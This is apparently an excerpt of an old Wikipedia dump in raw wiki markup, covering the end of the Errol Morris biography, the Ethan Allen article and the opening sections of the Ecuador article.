Morris was born in [[Hewlett, New York]]. In [[1950]], when he was 2 years old, Morris' father died of a heart attack. His mother, a [[Julliard]] graduate, supported Morris and his brothers as a music teacher. In the 10th grade Morris enrolled at the Putney School, a boarding school in Vermont. He began playing the cello, spending a summer in [[France]] studying music under the acclaimed [[Nadia Boulanger]], who was the principal teacher of [[Philip Glass]], who would in turn score ''[[The Thin Blue Line]]'', ''[[A Brief History of Time]]'' and ''[[The Fog of War]]''. Describing Morris as a teenager, Mark Singer wrote that he &quot;read with a passion the forty-odd 'Oz' books, watched a lot of television, and on a regular basis went with a doting but not quite right maiden aunt ('I guess you'd have to say that Aunt Roz was somewhat demented') to Saturday matinees, where he saw stuff like ''This Island Earth'' and ''Creature from the Black Lagoon'' - horror movies that, viewed again thirty years later, still seem scary to him.&quot; &lt;ref&gt;Predilections by Mark Singer ''The New Yorker''  February 2, 1989 &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt;

As an undergrad Morris attended the [[University of Wisconsin]], graduating in [[1969]] with a [[B.A.]] in history. For a brief time Morris held small jobs, first as a cable television salesman and then as a term-paper writer. His unorthodox approach to applying for grad school included, &quot;trying to get accepted at different graduate schools just by showing up on their doorstep.&quot; Having unsuccessfully approached both the [[University of Oxford]] and [[Harvard University]], Morris was able to talk his way into [[Princeton University]], where he began studying the history of science, a topic in which he had &quot;absolutely no background.&quot; His concentration was on the history of physics, and he was bored and unsuccessful in the prerequisite physics classes he had to take.  This, together with his antagonistic relationship with his advisor (&quot;'You won't even look through my telescope.' And his response was 'Errol, it's not a telescope, it's a kaleidoscope.'&quot; &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt;) ensured that his stay at Princeton would be short. He left Princeton in [[1972]], enrolling at [[University of California, Berkeley|Berkeley]] as a Ph.D. candidate in [[philosophy]]. At Berkeley Morris once again found that he was not well-suited for his subject. &quot;Berkeley was just a world of pedants. It was truly shocking. I spent two or three years in the philosophy program. I have very bad feelings about it,&quot; he later said &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt;. He became a regular at the Pacific Film Archive, as Tom Luddy, the director of the archive at the time, later remembered: &quot;He was a [[film noir]] nut. He claimed we weren't showing the real film noir. So I challenged him to write the program notes. Then, there was his habit of sneaking into the films and denying that he was sneaking in. I told him if he was sneaking in he should at least admit he was doing it.&quot; &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt;

Losing interest in his studies, Morris visited Plainfield, Wisconson in [[1975]]. While there, he conducted multiple interviews with [[Ed Gein]], the famous [[serial killer]] that ''[[Psycho]]'''s [[Norman Bates]] is based on. He later made plans with [[Germany|German]] [[film director|director]] [[Werner Herzog]], who Tom Luddy had introduced to Morris, to return in the summer of 1975 to secretly open the grave of Gein's mother to test their theory that Gein himself had already dug her up. Herzog arrived on schedule, but Morris had second thoughts and was not there. Herzog did not open the grave. Morris later returned to Plainfield, this time staying for almost a year, conducting hundreds of hours of interviews. Although he had plans of either writing a book or making a film (which he would call ''Digging up the Past''), Morris never completed his Ed Gein project. In the fall of [[1976]], Werner Herzog visited Plainfield again, this time to use the scenery for some shots in his film ''[[Stroszek]]''. After the shooting finished, Herzog handed Morris an envelope full of cash. Morris walked over to the motel window and tossed the envelope out the window into a parking lot. Herzog went out to the parking lot and brought the money back, again offering it to Morris, saying, &quot;Please don't do that again.&quot; &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt; Morris accepted the $2,000 and used it to take a trip to Vernon, [[Florida]]. Vernon was nicknamed Nub City because its residents participated in a particularly morbid form of insurance fraud where they deliberately amputate a limb in order to collect the insurance money. &quot;In the hierarchy of nubbiedom, the supremely rewarding self-sacrifice was the loss of a right leg and a left arm, because, so the theory went, 'afterward, you could still write your name and still have a foot to press the gas pedal of your Cadillac.'&quot; &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt; Morris second documentary would be about the town and bear its name, although it makes no mention of Vernon, Florida as Nub City, but instead explores other idiosychracies of the town's residents. Morris made this omission because of the death threats he recieved while doing research; the town's residents were afraid that Morris would reveal their secret.

After spending two weeks in Vernon, Morris returned to Berkeley and began working on a fictional script that he called ''Nub City''. After a few unproductive months, he happened to read a headline in the ''[[San Francisco Chronicle]]'' that read, &quot;450 DEAD PETS GOING TO NAPA VALLEY.&quot; Morris left for Napa Valley and began working on the film that would become his first feature, ''[[Gates of Heaven]]''. In [[1978]] when the film permiered at Berkeley, Werner Herzog cooked and publicly ate his shoe. Les Blank made a short documentary about the event, titled ''[[Werner Herzog Eats His Shoe]]''. According to Herzog, the shoe-eating spectacle was meant to encourage Morris: &quot;You are going to make a film. And the day I am going to see the film in a theatre I will eat the shoes I am wearing,&quot; he claims to have said. Tom Luddy, the director of the archive, has a slightly different version, in which Herzog and Morris were arguing in a hall, with Herzog saying, &quot;You'll never make a film, but if you do I'll come and eat my shoe at the premiere.&quot; &lt;ref&gt;Pred. . . Singer &quot;[http://www.errolmorris.com/content/profile/singer_predilections.html]&quot;&lt;/ref&gt;

==Early career as a film-maker==

''[[Gates of Heaven]]'' was given a limited release in the spring of [[1981]]. Critic [[Roger Ebert]] was and remains today a champion of the film, including it on his top ten best films list. Morris returned to Vernon in [[1979]] and again in [[1980]], renting a house in town and conducting interviews with the town's citizens. ''[[Vernon, FL]]'' premiered at the [[1981]] [[New York Film Festival]]. ''[[Newsweek]]'' called it, &quot;a film as odd and mysterious as its subjects, and quite unforgettable.&quot; The film, like ''[[Gates of Heaven]]'', suffered from poor distribution. It was released on video in [[1987]], and DVD in [[2005]]. 

After finishing ''[[Vernon, FL]]'', Morris tried unsuccessfully to get funding for a variety of projects. There was ''Road'',
a story about an interstate-highway in Minnesota; a project about Robert K. Golka, the creator of laser-induced-fireballs in Utah; and the story of Centralia, PA, a coal town in which an &quot;inextinguishable subterranean fire&quot; ignited in [[1962]]. He eventually got funding in [[1983]] to write a script about John and Jim Pardue, a pair of Missouri bank robbers who had killed their father and grandmother and robbed five banks. Morris' pitch went, &quot;The great bank-robbery sprees always take place at a time when something is going wrong in the country. Bonnie and Clyde were apolitical, but it's impossible to imagine them without [[the Depression]] as a back-drop. The Pardue brothers were apolitical, but it's impossible to imagine them without [[Vietnam]].&quot; Morris wanted Tom Waits and Mickey Rourke to play the brothers, and he wrote the script, but the project eventually failed. Morris worked on writing scripts for various other projects, including a pair of ill-fated [[Stephen King]] adaptations. 

In [[1984]] he married Julia Sheehan, who he had met in Plainfield while researching [[Ed Gein]]. Morris would later recall an early conversation with Julia: &quot;I was talking to a mass murderer but I was thinking of you,&quot; he said, and instantly regretted it, afraid that it might not have sounded as affectionate as he had wished. But Julia was actually flattered:&quot;I thought, really, that was one of the nicest things anyone ever said to me. It was hard to go out with other guys after that.&quot;

In [[1985]], Morris became interested in Dr. James Grigson, a psychiatrist in [[Dallas, Texas|Dallas]]. Under [[Texas]] law, the [[death penalty]] can only be issued if the jury is convinced that the defendant is not only guilty, but will commit further violent crimes in the future if he is not put to death. Grigson had spent 15 years testifying for such cases, and he almost invariably gave the same damning testimony, often saying that it is &quot;one hundred per cent certain&quot; that the defendent would kill again. This lead to Grigson being nicknamed &quot;Dr. Death&quot;. Through Grigson, Morris would meet the subject of his next film, 36 year-old Randall Dale Adams. 

Adams was on death row for the [[1976]] murder of Robert Wood, a Dallas police officer. Adams told Morris that he had been framed, and that David Harris, who was present at the time of the murder and was the principal witness for the prosecution, had in fact killed Wood. Morris began researching the case because it related to Dr. Grigson; he was at first unconvinced of Adams' innocence. After reading the transcripts of the trail and meeting David Harris at a bar, however, Morris was no longer so sure.

At the time, Morris had been making a living as a private investigator for a well-known private detective agency that specialized in Wall Street cases. Bringing together his talents as an investigator and his obsessions with murder, narration and epistomology, Morris went to work on the case in earnest. Unedited interviews in which the prosecution's witnesses systematically contradicted themselves were used as testimony in Adams' [[1986]] [[habeas corpus]] hearing to determine if he would recieve a new trial. David Harris famously confessed, in a roundabout manner, to killing Wood. Although Adams was finally found innocent after years of being processed by the legal system, the judge in the habeas corpus hearing officially stated that, &quot;much could be said about those videotape interviews, but nothing that would have any bearing on the matter before this court.&quot; Regardless, ''[[The Thin Blue Line]]'', as Morris' film would be called, was widely accepted as the main force behind getting its subject, Randall Adams, off of death row.  

According to a survey by [[the Washington Post]], ''[[The Thin Blue Line]]'' made dozens of critics' top ten lists for [[1988]], more than any other film  that year. It won the documentary of the year award from both the [[New York Film Critics Circle]] and the [[National Society of Film Critics]]. Despite its widespread acclaim, it was not nominated for an Oscar, which created a small scandal regarding the nomination practices of the Academy. The Academy cited the film's genre of &quot;non-fiction&quot;, arguing that it was not actually a documentary. ''[[The Thin Blue Line]]'' is to this day one of the most critically acclaimed documentaries ever made.

[[Image:Interrotron web page.jpg|thumb|200px|a diagram of the Interrotron]]

==The Interrotron==
The name &quot;Interrotron&quot; was coined by Morris's wife, Julia Sheehan, who, according to Morris, &quot;liked the name because it combined two important concepts — terror and interview.&quot; &lt;ref&gt;&quot;THE FOG OF WAR: 13 Questions and Answers on the Filmmaking of Errol Morris by Errol Morris&quot;, FLM Magazine Winter 2004 &quot;[http://www.errolmorris.com/content/eyecontact/interrotron.html]&quot;&lt;/ref&gt;  The device is similar to a [[teleprompter]]: Errol and his subject each sit facing a camera.  The image of each person's face is then projected onto the lens of the other's camera.  Instead of looking at a blank lens, then, both Morris and his subject are looking directly at a human face. The feeling of the monologues that Errol captures on film is human and conversational in a way that is usually impossible when a person is talking directly to a camera.  Ted Bafaloukos said of the Interrotron, &quot;. . .the beauty of it is that it lets people do what they do best, namely watch TV.&quot; &lt;ref&gt;&quot;Errol Morris Interview,&quot; Film: Beyond the Camera 1999 &quot;[http://www.bedfordstmartins.com/phillips-film-1e/morris4.htm]&quot;&lt;/ref&gt;

Morris used this process to film his critically acclaimed television show, &quot;First Person.&quot; The show engaged a varied group of individuals from civil advocates to criminals. It was cancelled after the first season due to low viewership most likely tied to its poor timeslot.

==Commercials==
Although Morris has achieved notoriety as a documentary filmmaker, he is also an accomplished director of television [[commercials]]. In 2002, Morris directed a series of television ads for [[Apple Computer]] as part of a popular &quot;Switch&quot; campaign. The commercials featured ex-[[Microsoft Windows|Windows]] users discussing their various bad experiences that motivated their own personal switches to Macintosh. Morris has directed hundreds of commercials for various companies and products, including [[Adidas]], [[AIG]], [[Cisco Systems]], [[Citibank]], [[Levi's]], [[Miller High Life]], [[Nike]], [[PBS]], [[The Quaker Oats Company]], [[Southern Comfort]], [[Toyota]] and [[Volkswagen]]. Many of these commercials are available on his [http://www.errolmorris.com/commercials.html website].

In 2002 Errol Morris, commercial director was comissioned to make a [http://www.errolmorris.com/content/shortfilms/oscarmovie.html short film] for the [[75th Academy Awards]]. Those interviewed range from [[Laura Bush]] to [[Iggy Pop]] to [[Kenneth Arrow]] to Morris's son Hamilton. Morris was nominated for an Emmy for this short film. He considered editing this footage into a feature length film, [http://www.errolmorris.com/content/aborted/projects_donald.html focusing] specifically on [[Donald Trump]] discussing ''[[Citizen Kane]]''.

In July 2004, Morris directed another series of commercials in the style of the &quot;Switch&quot; ads. This campaign featured [[Republican Party (United States)|Republicans]] who voted for [[George W. Bush|Bush]] in the [[United States presidential election, 2000|2000 election]] giving their personal reasons for voting for [[John Kerry|Kerry]] in 2004. Upon completing more than 50 commercials, Morris had difficulty getting them on the air. Eventually the liberal advocacy group [[MoveOn]] [[Political action committee|PAC]] paid to air a few of the commercials. Morris eventually wrote an [http://www.errolmorris.com/content/editorial/nytimes105.html editorial] for ''[[the New York Times]]'' discussing the commercials and Kerry's losing campaign.

In the Fall of 2004, Morris also directed a series of noteworthy commercials for [[Sharp Electronics]]. The commercials enigmatically depicted various scenes from what appeared to be a short narrative that climaxed with a car crashing into a swimming pool. Each commercial showed a slightly different perspective on the events, and each ended with a cryptic weblink. The weblink was to a fake webpage advertising a prize offered to anyone who could discover the secret location of some valuable urns. It was in fact an [[alternate reality game]]. The original commercials can be found on Morris' [http://www.errolmorris.com/commercials/sharp.html website].

==Films by Errol Morris==
* ''[[Gates of Heaven]]'' [[1978]]
* ''[[Vernon, Florida (movie)|Vernon, Florida]]'' [[1981]]
* ''[[The Thin Blue Line (documentary)|The Thin Blue Line]]'' [[1988]]
* ''[[The Dark Wind]]'' [[1991]]
* ''[[A Brief History of Time (movie)|A Brief History of Time]]'' [[1991]]
* ''[[Fast, Cheap and Out of Control]]'' [[1997]]
* ''[[Mr. Death: The Rise and Fall of Fred A. Leuchter, Jr.]]'' [[1999]]
* ''[[The Fog of War]]'' [[2003]]

==Films about Errol Morris==
* ''[[Werner Herzog Eats His Shoe]]''
* ''[[A Brief History of Errol Morris]]''

==Awards==
* [[Academy Award for Documentary Feature]] ''[[The Fog of War]]'' (2004)
* Best Documentary of the Year awards for ''[[The Fog of War]]'' (2003): the National Board of Review, the Los Angeles Film Critics Association, the Chicago Film Critics, and the Washington D.C. Area Film Critics.
* 2002 International Documentary Association [http://pnnonline.org/article.php?sid=4108 list] of the 20 all-time best documentaries: ''[[The Thin Blue Line]]'' (#2), ''[[Fast, Cheap &amp; Out of Control]]'' (#14) 
* [[Emmy]] for Best Commercial for [[PBS]] commercial &quot;[http://www.errolmorris.com/commercials/pbs/pbs_photobooth.html Photobooth]&quot; (2001)
* In December [[2001]], the United States' [[National Film Preservation Foundation]] announced that Morris's ''[[The Thin Blue Line]]'' would be one of the 25 films selected that year for preservation in the [[National Film Registry]] at the [[Library of Congress]], bringing the total at the time to 325.
* [[MacArthur Fellowship]] (1989)
* Washington Post Best Film of the Year for ''[[The Thin Blue Line]]'' (1988)
* [[New York Film Critics Circle]] and the [[National Society of Film Critics]] Best Documentary for ''[[The Thin Blue Line]]'' (1988)
* Golden Horse for Best Foreign Film at the Taiwan International Film Festival for ''[[The Thin Blue Line]]'' (1988)
* Edgar for Best Motion Picture from Mystery Writers of America for ''[[The Thin Blue Line]]'' (1988)
* ''[[Gates of Heaven]]'' (1978) has long been on [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/19971109/REVIEWS08/401010320/1023 Roger Ebert]'s list of the ten greatest films ever made.

==Notes and references==
&lt;div style=&quot;font-size: 85%&quot;&gt;
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==External links==
* [http://www.errolmorris.com/ Errol Morris's website]
:*Official online [http://www.errolmorris.com/store.html store].
* {{imdb name|id=0001554|name=Errol Morris}}
* [http://www.rottentomatoes.com/p/errol_morris/ Errol Morris at Rotten Tomatoes] 

{{wikiquote}}

[[Category:1948 births|Morris, Errol]]
[[Category:Living people|Morris, Errol]]
[[Category:American documentary filmmakers|Morris, Errol]]
[[Category:Jewish American directors|Morris, Errol]]
[[Category:MacArthur Fellows|Morris, Errol]]</text>
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  <page>
    <title>Ethan Allen</title>
    <id>9333</id>
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        <username>Chronomantiques</username>
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[[Image:Ticondsurrender.jpg|thumb|400px|An engraving depicting Ethan Allen demanding the surrender of Fort Ticonderoga]]
'''Ethan Allen''' ([[January 21]], [[1738]] &amp;ndash; [[February 12]], [[1789]]) was an early American revolutionary and [[guerrilla warfare|guerrilla]] leader during the era of the [[Vermont Republic]] and the [[New Hampshire Grants]]. He fought against the settlement of [[Vermont]] by the [[Province of New York]].

Allen was born in [[Litchfield, Connecticut|Litchfield]], [[Connecticut]], the first child of Joseph and Mary Baker Allen. Ethan was the oldest of the eight children. He was the only one to be born in Litchfield, since the family moved to Cornwall shortly after his birth. His brother, [[Ira Allen|Ira]], figured prominently in the early history of Vermont. Joseph Allen was the leader of a rebellious group of land owners and speculators who held New Hampshire title to land grants in the New Hampshire Grants. New York, which held substantial claim to the area, refused to honor the New Hampshire titles and sold competing titles to different people, who generally did not live in Vermont. This led to open rebellion among the population in much of Vermont. In April of 1755, Joseph Allen died, leaving Ethan to take care of the family farm and title claims. 

Allen was well over six feet tall, in a time when most men were a foot shorter.  He was outspoken and apparently quite articulate.  As a young man, he served in the colonial militia in the [[French and Indian War]].  He was married and had five children.  In the early 1770s, he emerged as the military leader of Anti-New York dissidents, known as the [[Green Mountain Boys]], who were fighting New York over the New Hampshire grants.  He was apparently reasonably effective in that role.  A warrant was issued for his arrest by the government of New York, for the substantial reward of 100 pounds.  

Now arrived the American Revolutionary War. In the spring of 1775, Allen and [[Benedict Arnold]] led a raid against [[Fort Ticonderoga]].  The relative roles of Allen and Arnold are not entirely clear.  Nor is it clear to what extent the campaign was formulated by the strongly anti-British faction in Connecticut, to what extent it was the idea of the [[Green Mountain Boys]] headquartered at the Catamount Tavern in [[Bennington (town), Vermont|Bennington]], nor how much of the enthusiasm was fueled by alcohol rather than by patriotism.  What is clear is that the rebels moved north, managed to get a few dozen men across [[Lake Champlain]] (they had considerable trouble finding a boat and the one they found was quite small).  In a dawn attack, Ticonderoga was taken from the 22 British troops that held it and who were not aware that a war was in progress.  Allen/Arnold's rebels also quickly captured forts at [[Crown Point, New York|Crown Point]], Fort Ann on [[Isle La Motte]] near the present Canadian border, and (temporarily) the town of St John (now [[Saint-Jean-sur-Richelieu, Quebec]]).  The comic opera aspects of this campaign notwithstanding, the huge stores of cannon and powder seized at Ticonderoga allowed the American rebels to put in place an effective siege of Boston which caused the British to evacuate in October of 1775.

[[Image:ethan_allen_stamp.JPG|right]]
The [[Green Mountain Boys]] elected Allen's cousin, [[Seth Warner]], as leader; however, Allen commanded a small military force in the American rebels' campaign in Quebec in 1775.  As a result of miscommunication or misjudgment, he attacked Montreal with a handful of men and was captured by the British.  He was shipped to England where he was imprisoned in Pendennis Castle, Cornwall, and suffered considerable mistreatment.  Allen was later transferred to New York, where he was eventually paroled in a prisoner exchange.  

Allen then moved back to Vermont, which had become a hotbed of anti-everyone sentiment, harboring little affection for either England or for the nascent United States.  Vermont was also harboring a significant number of deserters from the armies of both.  Allen settled a homestead in the delta of the [[Winooski River]] near the modern city of [[Burlington, Vermont|Burlington]].  Allen remained active in Vermont politics and was appointed general in the Army of Vermont. In 1778, Allen appeared before the Continental Congress on behalf of a claim by Vermont for recognition as an independent state. Allen then negotiated with the governor of Canada between 1780 and 1783, in order to establish Vermont as a British province. Because of this, the US charged him with treason; however, because the negotiations were demonstrably intended to force action on the Vermont case by the Continental Congress, the charge was never substantiated.

Allen's first wife died in 1783 and he remarried in that year.  Allen died in 1789, of a stroke, at the age of 51.

Two ships of the [[United States Navy]] have been named [[USS Ethan Allen|''Ethan Allen'']] in his honor, as well as [[Fort Ethan Allen]], a cavalry outpost, in Colchester and Essex, Vermont.

==Publications==  
He wrote a ''Narrative of Colonel Ethan Allen's Captivity'' (1779); a ''Vindication of the Opposition of Vermont to the Government of New York'' (1779); and ''Reason the Only Oracle of Man, or A Compendious System of Natural Religion (1784).  

==Literature==  
* Henry Hall, ''Ethan Allen'' (New York, 1892)  
* Sparks, ''Ethan Allen'' (Boston, 1834)  

==External links== 
*[http://libertyonline.hypermall.com/allen-reason.html Essay on natural religion by Allen: ''Reason: The Only Oracle of Man'', published 1784]

[[Category:1738 births|Allen, Ethan]]
[[Category:1789 deaths|Allen, Ethan]]
[[Category:American Revolution people|Allen, Ethan]]
[[Category:History of Vermont|Allen, Ethan]]
[[Category:People from Connecticut|Allen, Ethan]]
[[Category:People from Vermont|Allen, Ethan]]
[[Category:Rebels]]

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| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;135px&quot; | [[Image:Flag of Ecuador.svg|125px|]]
| align=&quot;center&quot; width=&quot;135px&quot; | [[Image:Ecuador COA.jpg|90px|Ecuador COA]]
|-
| align=&quot;center&quot; width=&quot;135px&quot; | ([[Flag of Ecuador|In Detail]])
| align=&quot;center&quot; width=&quot;135px&quot; | ([[Coat of Arms of Ecuador|In Detail]])
|}
|-
| align=&quot;center&quot; colspan=2 | [[List of state mottos|Motto]]: ''El Ecuador ha sido, es y será país Amazónico''&lt;br&gt;([[Spanish language|Spanish]]: Ecuador has been, is, and will always be an Amazonian country)
|-
| align=center colspan=2 | [[image:LocationEcuador.png]]
|-
| '''[[Official language]]'''
|Spanish&lt;sup&gt;1&lt;sup&gt;
|-
| '''[[Capital]]'''
| [[Quito, Ecuador|Quito]]
|-
| '''Largest City'''
| [[Guayaquil, Ecuador|Guayaquil]]
|-
| '''[[List of Presidents of Ecuador|President]]'''
| [[Alfredo Palacio]]
|-
|-
| '''[[List of Presidents of Ecuador|Vice-President]]'''
| [[Alejandro Serrano]] 
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 71st]] &lt;br /&gt; 199,235 [[square kilometre|km&amp;sup2;]] &lt;br /&gt; 8.8%
|-
| '''[[Population]]'''&lt;br /&gt;&amp;nbsp;- Total (2005) &lt;br /&gt;&amp;nbsp;- [[Population density|Density]]	
| [[List of countries by population|Ranked 62nd]] &lt;br /&gt; 13,363,593 &lt;br /&gt; 36/[[square kilometre|km&amp;sup2;]]
|-
|'''[[Human Development Index|HDI]]''' (2003) || 0.759 ([[List of countries by Human Development Index|82nd]]) – &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|-
| '''[[Independence]]'''
&lt;br /&gt;&amp;nbsp;- Date
| From [[Spain]]
&lt;br /&gt;[[24 May]], [[1822]]
|-
| '''[[Currency]]'''
| [[United States dollar|U.S. dollar]]&lt;sup&gt;2&lt;/sup&gt;
|-
| '''[[Time zone]]'''
| [[UTC]] -5;  [[UTC]] -6 ([[Galápagos Islands]])
|-
| '''[[National anthem]]'''
| ''[[Salve, Oh Patria]]''
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.ec]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| 593
|-
|colspan=&quot;2&quot;| &lt;small&gt;&lt;sup&gt;1&lt;sup&gt; [[Quechua language|Quichua]] and other [[Amerindian languages]] spoken by indigenous communities.&lt;br&gt; &lt;sup&gt;2&lt;/sup&gt; [[Sucre (currency)|Sucre]] until 2000.&lt;/small&gt;&lt;br&gt;
|}The '''Republic of Ecuador''' ([[Spanish language|Spanish]]: ''República del Ecuador'', [[International Phonetic Alphabet|IPA]] {{IPA|[re'puβlika ðel ekwa'ðoɾ]}}) is a country in northwestern [[South America]], bounded by [[Colombia]] on the north, by [[Peru]] on the east and south, and by the [[Pacific Ocean]] on the west. The country also includes the [[Galápagos Islands]] (Archipelago de Colón) in the Pacific, about 965 km (about 600 mi) west of the mainland.  Named after the Spanish word for [[equator]], Ecuador straddles the equator and has an area of 272,045 km² (105,037 mi²). [[Quito]] is the country&amp;#8217;s capital. 

== History ==
''Main article: [[History of Ecuador]]''

Advanced indigenous cultures flourished in Ecuador long before the area was conquered by the [[Inca empire]] in the 15th century. By marriage, the reign of Quito became part of the inca Empire, Atahuallpa, one of the sons of the Inca emperor was born in Quito, however he wouldn't be granted the crown of the Empire since the Inca had another son born in cuzco, the Capital, his name Huascar. The inca found a solution dividing the empire into two, Atahuallpa would get the north empire, with its capital in Quito, and Huascar would get the south with its capital in Cuzco. In 1531, the [[Spain|Spanish]] [[conquistadors]], under the lead of [[Francisco Pizarro]], arrived and found a civil world in the Inca empire the Spaniers took advantage of the situation  and defeated the Inca Emperor [[Atahuallpa]] and his army during the [[Battle of Cajamarca]] in 1532, when returning from Cuzco after killing his step brother Huascar. In subsequent years the Spanish colonists became the new elite centering its power in Peru.

The indigenous population was decimated by disease in the first decades of Spanish rule &amp;mdash; a time when the natives also were forced into the &quot;[[encomienda]]&quot; labor system for Spanish landlords. In 1563, [[Quito]] became the seat of a royal &quot;audiencia&quot; (administrative district) of Spain and part of the Peruvian Viceroyalty with its capital in Lima.

After nearly 300 years of Spanish colonization, Quito was a city of about 10,000 inhabitants, and it was there on [[August 10]], [[1809]], that the first cry for independence was heard.  After independence forces defeated the royalist army in 1822, Ecuador joined [[Simon Bolivar]]'s [[Republic of Gran Colombia]], only to become a separate republic in 1830.

The 19th century was marked by instability, with a rapid succession of rulers. The conservative [[Gabriel Garcia Moreno]] unified the country in the 1860s with the support of the [[Roman Catholic Church]]. In the late 1800s, world demand for [[cocoa]] tied the economy to commodity exports and led to migrations from the highlands to the agricultural frontier on the coast.

A coastal-based liberal revolution in 1895 under [[Eloy Alfaro]] reduced the power of the clergy and opened the way for capitalist development. The end of the cocoa boom produced renewed political instability and a military coup occurred in 1925. The 1930s and 1940s were marked by populist politicians such as five-time President [[José Velasco Ibarra]]. 

In 1941, Peru and Ecuador had many military incidents, and Peru invaded Ecuador in July 1941 with more than fifty thousand troops taking fast control on almost 75% of ecuadorean territory including the Amazon region, the highlands, and the coastal region. The Peruvian navy blocked the port of Guayaquil cutting supplies to the ecuadorian troops that were not more than ten thousand, while thousnad of well prepared troops took control of the main cities of ecuador. After a few weeks of the war, Ecuador had to accepted the condition of being defeated and had to sign a treaty that gave Peru more than 150,000 Sq.Km of Amozonic and coastal teritory, basicaly the provinces of Jaen and Maynas.

Recession and popular unrest led to a return to populist politics and domestic military interventions in the 1960s, while foreign companies developed oil resources in the Ecuadorian Amazon. In 1972, a nationalist military regime seized power and used the new oil wealth and foreign borrowing to pay for a program of industrialization, land reform, and subsidies for urban consumers. With the oil boom fading, Ecuador returned to [[democracy]] in 1979, but by 1982, the government faced an economic crisis, characterized by high [[inflation]], budget deficits, a falling currency, mounting debt service, and uncompetitive industries.

Since its return to democracy, Ecuador has been marked by chronic governmental instability.   Many years of continuous mismanagement, starting with the mishandling of the country's debt during the 1970's military regime, have left the country essentially ungovernable. By the mid 90's, the government of Ecuador has been characterized by a weak executive branch that struggles to appease the ruling classes, represented in the legislative and judiciary. The last three democratically elected [[List of heads of state of Ecuador|presidents]] have failed to finish their terms during that period.

Among the most relevant factors in the democratic instability is the emergence of indigenous population as an active constituency. As a group, they were pushed into prominence due to government failures to deliver on promises of land reform, lowering unemployment, and their historical exploitation by the land-holding elite.

Their movement, along with the continuing destabilizing efforts by the both the Elite and Leftist movements, have led to a deterioration of the executive office. Today, the notion that presidents are always in danger of being ousted by a majority in congress, a strike movement, or a combination thereof, is widely accepted, leading to deterioration and instability of the Executive Branch. Moreover, massive demonstrations of civil unrest has started a vicious circle in which presidents who are unwilling or unable to make the necessary moves towards popular policies are ousted; with all the economic and governmental fallout that such a drastic change entails. 

Ecuadorian presidential elections often run under populist principles, such social empowerment, drastically reducing inequality, and the idea of changing the economic and social status quo. However, the public and the other branches of government give the president very little political capital to work with, as it happened when in April 2005 Ecuador's Congress ousted President [[Lucio Gutiérrez]]. The Vice-President, [[Alfredo Palacio]], took his place and is expected to be in power until the next scheduled election. 

Ecuador is home to a large number of important master artists of the last century, which include [[Enrique Tábara]] (b. 1930), [[Oswaldo Guayasamín]] (1919-1999), [[Eduardo Kingman]] (1913-1998), [[Aníbal Villacís]] (b. 1929), [[Félix Arauz]] (b. 1935), [[Manuel Rendón Seminario]] (1894-1982), [[Theo Constanté]] (b.1934), [[Luis Molinari]] (b. 1929), [[Juan Villafuerte]] (1945-1977), [[Oswaldo Viteri]] (b. 1931), [[Camilo Egas]] ([[1889]]-[[1962]]), [[Bolívar Mena Franco]] (1913-1995), [[Estuardo Maldonado]], [[Gonzalo Endara Crow]] and [[Luis Miranda]].

== Politics ==
''Main article: [[Politics of Ecuador]]''
[[Image:Alfredo Palacio.jpg|thumb|150px|Current President of Ecuador, [[Alfredo Palacio]]]]

The [[constitution]]  provides for concurrent 4-year terms of office for the president, vice president, and members of [[Congress]]. Presidents may be re-elected after an intervening term, while legislators may be re-elected immediately.

The executive branch includes 15 ministries. Provincial governors and councilors, like mayors and aldermen and parish boards, are directly elected. Congress meets throughout the year except for recess in July and December. There are twenty 7-member congressional committees. Justices of the Supreme Court are appointed by the Congress for indefinite terms.

===Foreign relations===
{{main|Foreign relations of Ecuador}}

Ecuador has often placed great emphasis on multilateral approaches to international issues. Ecuador is a member of the [[United Nations]] (and most of its specialized agencies) and also is a member of many regional groups, including the Rio Group, the Latin American Economic System, the Latin American Energy Organization, the Latin American Integration Association, and The Andean Pact.

== Geography ==
[[Image:Ecuador landscape near Ambato1.JPG|thumb|right|180px|Rural Highland Landscape, [[Tungurahua_Province|Tungurahua]], Ecuador]]
''Main article: [[Geography of Ecuador]]''

Ecuador has three main geographic regions, plus an insular region in the [[Pacific Ocean]].
# The ''Costa'' comprises the low-lying litoral lying in the western part of the country. Its coastlines are on the Pacific.
# The ''Sierra'' region is the mountainous, high-altitude vertical belt running along the centre of the country. This region's [[topography]] is as a result of the [[Andes]] mountain range running along it.
# The ''Oriente'' (literally &quot;East&quot;) comprises the [[Amazon rainforest]] areas in the eastern part of the country, accounting for just under half of the country's total surface area, though populated by under 5% of the population.
# Finally, the ''Región Insular'' is the region comprising the [[Galápagos Islands]], some 1,000 km west of the mainland in the Pacific Ocean.

Ecuador's capital is [[Quito, Ecuador|Quito]], and is located in the province of [[Pichincha]] in the Sierra region. Its largest city is [[Guayaquil]], located in the province of [[Guayas]] in the Costa. [[Cotopaxi]], which is located just south of [[Quito]], in the neighbouring province of that same name, is the country's and the world's highest active volcano.

===Provinces===
''Main article: [[Provinces of Ecuador]]''
[[Image:Ec-map.png|thumb|right|230px|Map of Ecuador]]
Ecuador is divided into twenty two provinces, each with its own administrative capital. The capitals are provided in parentheses.
{|
|
*[[Azuay Province|Azuay]] ([[Cuenca, Ecuador|Cuenca]])
*[[Bolívar Province|Bolívar]] ([[Guaranda]])
*[[Cañar Province|Cañar]] ([[Azogues]])
